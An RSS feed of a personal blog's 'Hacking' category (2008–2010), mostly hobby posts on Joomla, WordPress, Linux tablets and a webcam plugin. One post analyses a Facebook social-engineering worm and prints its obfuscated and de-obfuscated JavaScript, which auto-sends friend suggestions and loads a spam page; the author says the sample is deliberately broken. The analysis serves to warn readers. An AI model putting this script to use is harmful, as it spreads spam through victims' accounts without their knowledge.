<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RawDev.net &#187; Hacking</title>
	<atom:link href="http://rawdev.net/category/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://rawdev.net</link>
	<description>Just another Zabreznik.si Sites site</description>
	<lastBuildDate>Tue, 27 Jul 2010 17:48:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Head-Crab iPhone stand</title>
		<link>http://rawdev.net/2010/05/23/head-crab-iphone-stand/</link>
		<comments>http://rawdev.net/2010/05/23/head-crab-iphone-stand/#comments</comments>
		<pubDate>Sun, 23 May 2010 14:54:38 +0000</pubDate>
		<dc:creator>Marko Zabreznik</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.rawdev.net/?p=259</guid>
		<description><![CDATA[iPhone HeadCrab Stand]]></description>
			<content:encoded><![CDATA[<p>A iPhone &amp; iPod Touch stand using a Head-Crab :3<br />

<a href='http://rawdev.net/2010/05/23/head-crab-iphone-stand/img_0057/' title='IMG_0057'><img width="150" height="150" src="http://rawdev.net/files/2010/05/IMG_0057-150x150.jpg" class="attachment-thumbnail" alt="IMG_0057" title="IMG_0057" /></a>
<a href='http://rawdev.net/2010/05/23/head-crab-iphone-stand/img_0058/' title='IMG_0058'><img width="150" height="150" src="http://rawdev.net/files/2010/05/IMG_0058-150x150.jpg" class="attachment-thumbnail" alt="IMG_0058" title="IMG_0058" /></a>
<a href='http://rawdev.net/2010/05/23/head-crab-iphone-stand/img_0059/' title='IMG_0059'><img width="150" height="150" src="http://rawdev.net/files/2010/05/IMG_0059-150x150.jpg" class="attachment-thumbnail" alt="IMG_0059" title="IMG_0059" /></a>
<a href='http://rawdev.net/2010/05/23/head-crab-iphone-stand/img_0060/' title='IMG_0060'><img width="150" height="150" src="http://rawdev.net/files/2010/05/IMG_0060-150x150.jpg" class="attachment-thumbnail" alt="IMG_0060" title="IMG_0060" /></a>
<a href='http://rawdev.net/2010/05/23/head-crab-iphone-stand/sv400003/' title='sv400003'><img width="150" height="150" src="http://rawdev.net/files/2010/05/sv400003-150x150.jpg" class="attachment-thumbnail" alt="sv400003" title="sv400003" /></a>
</p>
]]></content:encoded>
			<wfw:commentRss>http://rawdev.net/2010/05/23/head-crab-iphone-stand/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook Trojan Worm</title>
		<link>http://rawdev.net/2010/05/08/facebook-trojan-worm/</link>
		<comments>http://rawdev.net/2010/05/08/facebook-trojan-worm/#comments</comments>
		<pubDate>Sat, 08 May 2010 20:44:45 +0000</pubDate>
		<dc:creator>Marko Zabreznik</dc:creator>
				<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.rawdev.net/?p=252</guid>
		<description><![CDATA[Guess what, Facebook has another worm &#8211; the social &#8220;please help me breed&#8221; engineering kind. Got a suggestion from a friend to a page called &#8220;Who Removed You&#8221; or &#8220;Get a free iWhatever&#8221; and clicked and found that it directs you to its summary page that asks you to copy-paste some code to your address bar. [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Guess what, <a class="zem_slink" title="Facebook" rel="homepage" href="http://facebook.com">Facebook</a> has another worm &#8211; the social &#8220;please help me breed&#8221; engineering kind.</p>
<p style="text-align: justify;">Got a suggestion from a friend to a page called &#8220;Who Removed You&#8221; or &#8220;Get a free i<em>Whatever</em>&#8221; and clicked and found that it directs you to its summary page that asks you to copy-paste some code to your address bar. You did ?<a href="http://rawdev.net/files/2010/07/Clipboard02.jpg"><img class="alignnone size-medium wp-image-260" title="Clipboard02" src="http://rawdev.net/files/2010/07/Clipboard02-300x259.jpg" alt="" width="300" height="259" /></a></p>
<p>This is as basic as <a class="zem_slink" title="Social engineering (security)" rel="wikipedia" href="http://en.wikipedia.org/wiki/Social_engineering_%28security%29">social engineering</a> goes. As you de-obfuscate the code:</p>
<pre>javascript:var _0x8293=["\x69\x6E\x6E   .<strong>..     etc     ...   </strong>x65\x3E"];
var variables=[_0x8293[0],_0x8293[1],_0x8293[2],_0x8293[3]
,_0x8293[4],_0x8293[5],_0x8293[6],_0x8293[7],_0x8293[8],_0x8293[9],_0x8293[10],
_0x8293[11],_0x8293[12],_0x8293[13]];
void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true);
void ss[variables[9]](c);
void setTimeout(function (){fs[variables[10]]();} ,4000);
void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000);
void (document[variables[2]](variables[1])[variables[0]]=_0x8293[14]);</pre>
<p>you get something like:</p>
<pre>
<div>document.getElementById("app1153454353453_body").innerHTML = "&lt;a id=\"suggest\" href=\"#\" ajaxify=\"/ajax/social_graph/invite_dialog.php?class=FanManager&amp;amp;node_id=15345435345\ class=\" profile_action actionspro_a\" rel=\"dialog-post\"&gt;Suggest to Friends&lt;/a&gt;";</div>
<div>var ss=document.getElementById("suggest");</div>
<div>var c=document.createEvent("MouseEvents");</div>
<div>c.initEvent("click",true,true);</div>
<div>void ss.dispatchEvent(c);</div>
<div>void setTimeout(function (){fs.select_all();} ,4000);</div>
<div>void setTimeout(function (){SocialGraphManager.submitDialog("sgm_invite_form","/ajax/social_graph/invite_dialog.php");} ,5000);</div>
<div>void (document.getElementById("app1153454353453_body").innerHTML="&lt;iframe src=\"http:// whodeletedyou dot blogspot.com/p/click-here-to-find-out-how-to-know-who.html\" style=\"width: 800px; height: 600px;\" frameborder=0 scrolling=\"no\"&gt;&lt;/iframe&gt;");</div>
</pre>
<p style="text-align: justify;"><em>Note: I intentionally broke this sample.</em></p>
<p style="text-align: justify;">The code makes a &#8220;suggest to friends&#8221; popup, selects them all and sends it &#8211; you have no idea what hapened &#8211; then it sends you to another spam site &#8211; often asking you to fill out a survey.</p>
<p style="text-align: justify;">This is the kind of thing that wont happen to most Facebook users ( as the concept of <a class="zem_slink" title="Cut, copy, and paste" rel="wikipedia" href="http://en.wikipedia.org/wiki/Cut%2C_copy%2C_and_paste">copy/paste</a> and address bar is way beyond most people &#8211; not to mention the hand coordination one has to have to select the code ), so don&#8217;t expect this kind of thing from your Mom. (unless she just mass suggests everything by herself anyway ). /rant</p>
<p style="text-align: justify;">As for the guy that worried who removed him so much he just had to copy+paste: Don&#8217;t worry, <strong><em>you wont see</em><span style="font-weight: normal;"><em><strong> me go</strong>.</em></span></strong></p>
<p style="text-align: justify;">In related news, there is no way to report these kind of issues to Facebook.</p>
<p style="text-align: justify;">~copy&amp;paste</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=3034d2c5-67bf-404b-a1ca-5cd20c00ef03" alt="" /><span class="zem-script more-related pretty-attribution"> </span></div>
]]></content:encoded>
			<wfw:commentRss>http://rawdev.net/2010/05/08/facebook-trojan-worm/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress Redirect Registration Page</title>
		<link>http://rawdev.net/2010/02/20/wordpress-redirect-registration-page/</link>
		<comments>http://rawdev.net/2010/02/20/wordpress-redirect-registration-page/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 21:06:21 +0000</pubDate>
		<dc:creator>Marko Zabreznik</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.rawdev.net/2010/02/20/wordpress-redirect-registration-page/</guid>
		<description><![CDATA[In one particural case, you don&#8217;t want to disable WP registration but just redirect the page so some other script takes care of it. That happened to me while working on a WordPress and bbPress website. The solution is quite simple: add_action(&#8216;login_form_register&#8217;, &#8216;redirectregister&#8217;); function redirectregister(){wp_redirect(get_option(&#8216;siteurl&#8217;) . &#8216;/bb/register.php&#8217;);} add this where wordpress will find it, in [...]]]></description>
			<content:encoded><![CDATA[<p>In one particural case, you don&#8217;t want to disable WP registration but just redirect the page  so some other script takes care of it. That happened to me while working on a WordPress and bbPress website. The solution is quite simple:</p>
<p>add_action(&#8216;login_form_register&#8217;, &#8216;redirectregister&#8217;);<br />
function redirectregister(){wp_redirect(get_option(&#8216;siteurl&#8217;) . &#8216;/bb/register.php&#8217;);}</p>
<p>add this where wordpress will find it, in your functions file or just any plugin.</p>
]]></content:encoded>
			<wfw:commentRss>http://rawdev.net/2010/02/20/wordpress-redirect-registration-page/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Small update for JoomKey</title>
		<link>http://rawdev.net/2009/09/03/small-update-for-joomkey/</link>
		<comments>http://rawdev.net/2009/09/03/small-update-for-joomkey/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 19:44:19 +0000</pubDate>
		<dc:creator>Marko Zabreznik</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[JoomKey]]></category>
		<category><![CDATA[Joomla]]></category>

		<guid isPermaLink="false">http://www.rawdev.net/?p=234</guid>
		<description><![CDATA[Just a small update for joomkey, a language file. As I am not using this module actively I don&#8217;t have the time or the will to move it forward more.  But some people are using it. So todays update is a dutch language file, thanks Chris mod_joomkey.nl-NL And once again for all the others: This module displays a on screen keyboard that [...]]]></description>
			<content:encoded><![CDATA[<p>Just a small update for joomkey, a language file. As I am not using this module actively I don&#8217;t have the time or the will to move it forward more.  But some people are using it.</p>
<p>So todays update is a dutch language file, thanks Chris <img src='http://rawdev.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://www.rawdev.net/wp-content/uploads/2009/09/mod_joomkey.nl-NL.js">mod_joomkey.nl-NL</a></p>
<p>And once again for all the others:</p>
<ul>
<li>This module displays a on screen keyboard that attaches itself to all html text fields and input fields.</li>
<li><em>To use it, you have to select one of those fields. </em></li>
<li>You can place this module in any visible position</li>
<li>It will use the local language<em>, you may need to make a file with your locale </em>(even if it is the same as standard English)</li>
<li>As it looks at Joomla&#8217;s locale, it will work with JoomFish or similar..</li>
<li><strong>It wont work inside frames/iframes </strong>(use the firefox extension instead)</li>
<li>You can make it do other stuff with the buttons (as in print whole words as in iphone&#8217;s .com button etc)</li>
</ul>
<p>As most who use this module probably do so with a kiosk in mind, I would recommend the Firefox keyboard extension I built.</p>
]]></content:encoded>
			<wfw:commentRss>http://rawdev.net/2009/09/03/small-update-for-joomkey/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Medion E1210</title>
		<link>http://rawdev.net/2009/01/06/medion-e1210/</link>
		<comments>http://rawdev.net/2009/01/06/medion-e1210/#comments</comments>
		<pubDate>Tue, 06 Jan 2009 17:16:46 +0000</pubDate>
		<dc:creator>Marko Zabreznik</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.rawdev.net/?p=134</guid>
		<description><![CDATA[New day, new toy. All the time lodging around my Dell Inspiron got to me today as I went and bought a Medion E1210 SubNoteBook ( NetBook ) 1.6 GHz Atom processor, 1GB ram,160gb HDD, a intel graphic card on a 10&#8242; screen. On-board 802.11n WLAN and a dongle for bluetooh, SD card reader, 3 [...]]]></description>
			<content:encoded><![CDATA[<p>New day, new toy.<br />
All the time lodging around my Dell Inspiron got to me today as I went and bought a Medion E1210 SubNoteBook ( NetBook )</p>
<p><span id="more-134"></span></p>
<p>1.6 GHz Atom processor, 1GB ram,160gb HDD, a intel graphic card on a 10&#8242; screen.<br />
On-board  802.11n WLAN and a dongle for bluetooh, SD card reader, 3 USB 2.0 ports, VGA out, webcam, mic. Phew.</p>
<p>Enough of specifications, time for pics <img src='http://rawdev.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><a href="http://picasaweb.google.com/rawdevelopement/612009"></p>
<p>http://picasaweb.google.com/rawdevelopement/612009</a></p>
]]></content:encoded>
			<wfw:commentRss>http://rawdev.net/2009/01/06/medion-e1210/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Joomla! JoomKey Virtual Keyboard</title>
		<link>http://rawdev.net/2008/12/04/joomla-joomkey-virtual-keyboard/</link>
		<comments>http://rawdev.net/2008/12/04/joomla-joomkey-virtual-keyboard/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 21:12:15 +0000</pubDate>
		<dc:creator>Marko Zabreznik</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[JoomKey]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[Scripting]]></category>

		<guid isPermaLink="false">http://www.rawdev.net/?p=109</guid>
		<description><![CDATA[JoomKey is a joomla native mootools js virtual keyboard. It can be used on html inputs and textareas. The language is based on the language of the currently viewed site/article. It comes with English, German and Slovenian keyboard but can be easily be fitted with any additional language. If you do create a language please [...]]]></description>
			<content:encoded><![CDATA[<p>JoomKey is a joomla native mootools js virtual keyboard. It can be used on html inputs and textareas.</p>
<p>The language is based on the language of the currently viewed site/article. It comes with English, German and Slovenian keyboard but can be easily be fitted with any additional language. If you do create a language please send it to me so i can add it.</p>
<p>Download <a href="http://www.rawdev.net/wp-content/uploads/2008/12/mod_joomkey.zip">Module JoomKey 0.1.0</a></p>
<p>Tested on Firefox 3. Made in scope of the Institut-Oko Kiosk project.</p>
<p><a href="http://www.gnu.org/licenses/gpl-3.0.txt"><img class="alignnone" src="http://gplv3.fsf.org/gplv3-88x31.png" alt="GPLv3" width="88" height="31" /></a><br />
(C) Marko Zabreznik</p>
]]></content:encoded>
			<wfw:commentRss>http://rawdev.net/2008/12/04/joomla-joomkey-virtual-keyboard/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Subversion Client on Bluehost.net</title>
		<link>http://rawdev.net/2008/11/11/svn-client-bluehostnet/</link>
		<comments>http://rawdev.net/2008/11/11/svn-client-bluehostnet/#comments</comments>
		<pubDate>Tue, 11 Nov 2008 16:13:02 +0000</pubDate>
		<dc:creator>Marko Zabreznik</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.rawdev.net/?p=85</guid>
		<description><![CDATA[How hard can it be to install a app for everyone to use, BlueHost ?! Well, in any case. This is how to do it yourself ( source ): cd ~ mkdir src cd ~/src wget http://www.gtlib.gatech.edu/pub/apache/apr/apr-util-1.2.12.tar.gz wget http://www.gtlib.gatech.edu/pub/apache/apr/apr-1.2.12.tar.gz wget http://subversion.tigris.org/downloads/subversion-1.4.6.tar.gz wget http://www.webdav.org/neon/neon-0.25.5.tar.gz tar -xzf apr-util-1.2.12.tar.gz tar -xzf apr-1.2.12.tar.gz tar -xzf subversion-1.4.6.tar.gz tar -xzf neon-0.25.5.tar.gz [...]]]></description>
			<content:encoded><![CDATA[<p>How hard can it be to install a app for everyone to use, BlueHost ?!</p>
<p>Well, in any case. This is how to do it yourself <a href="http://www.bluehostforum.com/showpost.php?p=53131&amp;postcount=8">( source )</a>:</p>
<p><code>cd ~<br />
mkdir src<br />
cd ~/src<br />
wget http://www.gtlib.gatech.edu/pub/apache/apr/apr-util-1.2.12.tar.gz<br />
wget http://www.gtlib.gatech.edu/pub/apache/apr/apr-1.2.12.tar.gz<br />
wget http://subversion.tigris.org/downloads/subversion-1.4.6.tar.gz<br />
wget http://www.webdav.org/neon/neon-0.25.5.tar.gz<br />
tar -xzf apr-util-1.2.12.tar.gz<br />
tar -xzf apr-1.2.12.tar.gz<br />
tar -xzf subversion-1.4.6.tar.gz<br />
tar -xzf neon-0.25.5.tar.gz<br />
cd ~/src/apr-1.2.12<br />
./configure --prefix=$HOME LDFLAGS="-L/lib64"<br />
make<br />
make install<br />
cd ~/src/apr-util-1.2.12<br />
./configure --prefix=$HOME --with-apr=$HOME LDFLAGS="-L/lib64"<br />
make<br />
make install<br />
cd ~/src/neon-0.25.5<br />
./configure --enable-shared --prefix=$HOME LDFLAGS="-L/lib64"<br />
make<br />
make install<br />
cd ~/src/subversion-1.4.6<br />
./configure --prefix=$HOME --without-berkeley-db --with-zlib --with-ssl LDFLAGS="-L/lib64"<br />
make<br />
make install<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://rawdev.net/2008/11/11/svn-client-bluehostnet/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Wacom Bamboo Fun on Linux</title>
		<link>http://rawdev.net/2008/10/09/wacom-bamboo-fun-on-linux/</link>
		<comments>http://rawdev.net/2008/10/09/wacom-bamboo-fun-on-linux/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 19:21:32 +0000</pubDate>
		<dc:creator>Marko Zabreznik</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Peripherals]]></category>
		<category><![CDATA[Tablet]]></category>
		<category><![CDATA[Wacom]]></category>

		<guid isPermaLink="false">http://www.rawdev.net/?p=72</guid>
		<description><![CDATA[I Bought a Wacom Bamboo Fun Small Graphics Tablet a couple of days ago. Wanting one for quite some time now, I decided to go and buy it on-line. And after 3 days, it came all the way from Germany . I didnt even try running it on windows/mac before I plugged it into my [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright" src="http://www.rawdev.net/wp-content/uploads/2008/10/asd.png" alt="" /><br />
I Bought a <a class="zem_slink" title="Wacom" rel="wikipedia" href="http://en.wikipedia.org/wiki/Wacom">Wacom</a> Bamboo Fun Small <a class="zem_slink" title="Graphics tablet" rel="wikipedia" href="http://en.wikipedia.org/wiki/Graphics_tablet">Graphics Tablet</a> a couple of days ago.<br />
Wanting one for quite some time now, I decided to go and buy it on-line. And after 3 days, it came all the way from Germany <img src='http://rawdev.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> .</p>
<p>I didnt even try running it on windows/mac before I plugged it into my &#8216;box running <a class="zem_slink" title="OpenSUSE" rel="homepage" href="http://www.opensuse.org">OpenSuse 11</a>. First thing I notice: Its already working. Kindof.  It&#8217;s got relative tracking and the pad/buttons dont work.</p>
<p>How i got it running and some pics, after the jump.<span id="more-72"></span></p>
<p><a href="http://picasaweb.google.com/rawdevelopement/Wacom">http://picasaweb.google.com/rawdevelopement/Wacom</a></p>
<p>First of all, wacom packages were installed in opensuse by default, so not much action was needed there. I tried running the command line tool wacomcpl-exec to no avail. xsetwacom didn&#8217;t find anything. That only meant that the devices were not intialised properly in xorg.conf and i would have to find and set them myself.</p>
<p>After some poking around, I found wacdump ( included with wacom packages ) was the tool i needed. Since Bamboo Fun is a USB device, /dev/input/event* is where you will find it. Using wacdump i located it at /dev/input/event7. And then a quick look at <a href="http://linuxwacom.sourceforge.net/index.php/howto/inputdev">http://linuxwacom.sourceforge.net/index.php/howto/inputdev</a> to find out the proper way to configure xorg.<br />
<code><br />
Section "InputDevice"<br />
Driver        "wacom"<br />
Identifier    "stylus"<br />
Option        "Device"        "/dev/input/event7"<br />
Option        "Type"          "stylus"<br />
Option        "USB"           "on"<br />
EndSection<br />
Section "InputDevice"<br />
Driver        "wacom"<br />
Identifier    "eraser"<br />
Option        "Device"        "/dev/input/event7"<br />
Option        "Type"          "eraser"<br />
Option        "USB"           "on"<br />
EndSection<br />
Section "InputDevice"<br />
Driver        "wacom"<br />
Identifier    "cursor"<br />
Option        "Device"        "/dev/input/event7"<br />
Option        "Type"          "cursor"<br />
Option        "USB"           "on"<br />
EndSection<br />
Section "InputDevice"<br />
Driver        "wacom"<br />
Identifier    "pad"<br />
Option        "Device"        "/dev/input/event7"<br />
Option        "Type"          "pad"<br />
Option        "USB"           "on"<br />
EndSection<br />
</code></p>
<p>Changing the &#8220;Device&#8221; appropriately. After a quick X restart (CTRL ALT BACKSPACE), everything started working. Then for the final touches, I used wacomcpl-exec, that recognised the devices now, to change the rotation of the wheelpad, the buttons and sentitivity etc. I tried Bamboo in <a class="zem_slink" title="Inkscape" rel="wikipedia" href="http://en.wikipedia.org/wiki/Inkscape">Inkscape</a>, where i only had to enable the device in Input Devices under File.</p>
<p>Debriefing:</p>
<p>Things not working:</p>
<ul>
<li>Custom shortcuts on buttons, trough you can set them but find you will only get nice shortcuts to crash X.</li>
<li>WheelPad works but doesn&#8217;t support the tap up/down feature like it does on windows. (probably software based)</li>
</ul>
<p>Things one would wish to work better:</p>
<ul>
<li>Configuration. Not just of xorg but the tablet itself needs to be configurable in a stable easy GUI way.</li>
</ul>
<p>All in all, well worth the effort.</p>
<div class="zemanta-pixie"><a class="zemanta-pixie-a" title="Zemified by Zemanta" href="http://reblog.zemanta.com/zemified/ee01fe74-f535-4b89-a505-10a3f4d0c5a3/"><img class="zemanta-pixie-img" src="http://img.zemanta.com/reblog_e.png?x-id=ee01fe74-f535-4b89-a505-10a3f4d0c5a3" alt="Reblog this post [with Zemanta]" /></a></div>
]]></content:encoded>
			<wfw:commentRss>http://rawdev.net/2008/10/09/wacom-bamboo-fun-on-linux/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>mjpg stream + potrace</title>
		<link>http://rawdev.net/2008/04/11/mjpg-stream-potrace/</link>
		<comments>http://rawdev.net/2008/04/11/mjpg-stream-potrace/#comments</comments>
		<pubDate>Fri, 11 Apr 2008 15:34:34 +0000</pubDate>
		<dc:creator>Marko Zabreznik</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[uvc]]></category>
		<category><![CDATA[webcam]]></category>

		<guid isPermaLink="false">http://www.rawdev.net/?p=24</guid>
		<description><![CDATA[Working on the same principle as the last mjpg_stream implemenation, here it is: a portace plugin ! /****************************************************************************** Description.: Send a complete HTTP response and a svg file Input Value.: fildescriptor fd to send the answer to Return Value: - ******************************************************************************/ void send_svg(int fd) { unsigned char *frame=NULL; int frame_size=0; char buffer[BUFFER_SIZE] = {0}; if [...]]]></description>
			<content:encoded><![CDATA[<p>Working on the same principle as the last mjpg_stream implemenation, here it is: a portace plugin !</p>
<p><a href="http://rawdev.nullstate.com/wp-content/uploads/2008/04/jpg.jpg"><img class="alignnone size-thumbnail wp-image-25" src="http://rawdev.nullstate.com/wp-content/uploads/2008/04/jpg.jpg" alt="" width="222" height="166" /></a><a href="http://rawdev.nullstate.com/wp-content/uploads/2008/04/svg.jpg"><img class="alignnone size-thumbnail wp-image-26" src="http://rawdev.nullstate.com/wp-content/uploads/2008/04/svg.jpg" alt="" width="222" height="166" /></a></p>
<p><span id="more-22"></span></p>
<pre>/******************************************************************************
Description.: Send a complete HTTP response and a svg file
Input Value.: fildescriptor fd to send the answer to
Return Value: -
******************************************************************************/
void send_svg(int fd) {
unsigned char *frame=NULL;
int frame_size=0;
char buffer[BUFFER_SIZE] = {0};

if ( (frame = (unsigned char *)malloc(MAX_FRAME_SIZE)) == NULL ) {
fprintf(stderr, "not enough memory\n");
exit(EXIT_FAILURE);
}

/* wait for a fresh frame */
pthread_cond_wait(&amp;pglobal-&gt;db_update, &amp;pglobal-&gt;db);

/* read buffer */
frame_size = pglobal-&gt;size;
memcpy(frame, pglobal-&gt;buf, frame_size);
DBG("got frame (size: %d kB)\n", frame_size/1024);

pthread_mutex_unlock( &amp;pglobal-&gt;db );

/* make file */
FILE *filesvg;
filesvg = fopen("/dev/shm/svgpipe", "w");
fwrite(frame, 1, frame_size, filesvg);

fclose(filesvg);
free(frame);

system("/usr/bin/convert /dev/shm/svgpipe /dev/shm/svgpipe.ppm");
system("/usr/bin/potrace -s /dev/shm/svgpipe.ppm");

/* response */
sprintf(buffer, "HTTP/1.0 200 OK\r\n" \
STD_HEADER \
"Content-type: image/svg+xml\r\n" \
"\r\n");
if( write(fd, buffer, strlen(buffer)) &lt; 0 ) return;
/* read -&gt; send file */

FILE *filesvg2;
filesvg2 = fopen("/dev/shm/svgpipe.svg", "r");
while (fgets(buffer,BUFFER_SIZE,filesvg2))
write(fd, buffer, strlen(buffer));
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://rawdev.net/2008/04/11/mjpg-stream-potrace/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Biorhythm Calculator</title>
		<link>http://rawdev.net/2008/04/06/biorhythm-calculator/</link>
		<comments>http://rawdev.net/2008/04/06/biorhythm-calculator/#comments</comments>
		<pubDate>Sun, 06 Apr 2008 12:54:48 +0000</pubDate>
		<dc:creator>Marko Zabreznik</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[biorhythm]]></category>
		<category><![CDATA[calculator]]></category>

		<guid isPermaLink="false">http://www.rawdev.net/?p=23</guid>
		<description><![CDATA[A advanced Biorhythm calculator i made for a school project some time ago. Works perfectly. But its really how you interpret it ( All a bunch of crap if you ask me XD ) Link here.]]></description>
			<content:encoded><![CDATA[<p>A advanced Biorhythm calculator i made for a school project some time ago. Works perfectly. But its really how you interpret it <img src='http://rawdev.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  ( All a bunch of crap if you ask me XD )</p>
<p><a href="http://misc.rawdev.net/scripts/biorithmcalc.php"><img src="http://misc.rawdev.net/scripts/biorithmcalc.php?g=img" alt="" /></a></p>
<p>Link <a href="http://misc.rawdev.net/scripts/biorithmcalc.php">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://rawdev.net/2008/04/06/biorhythm-calculator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
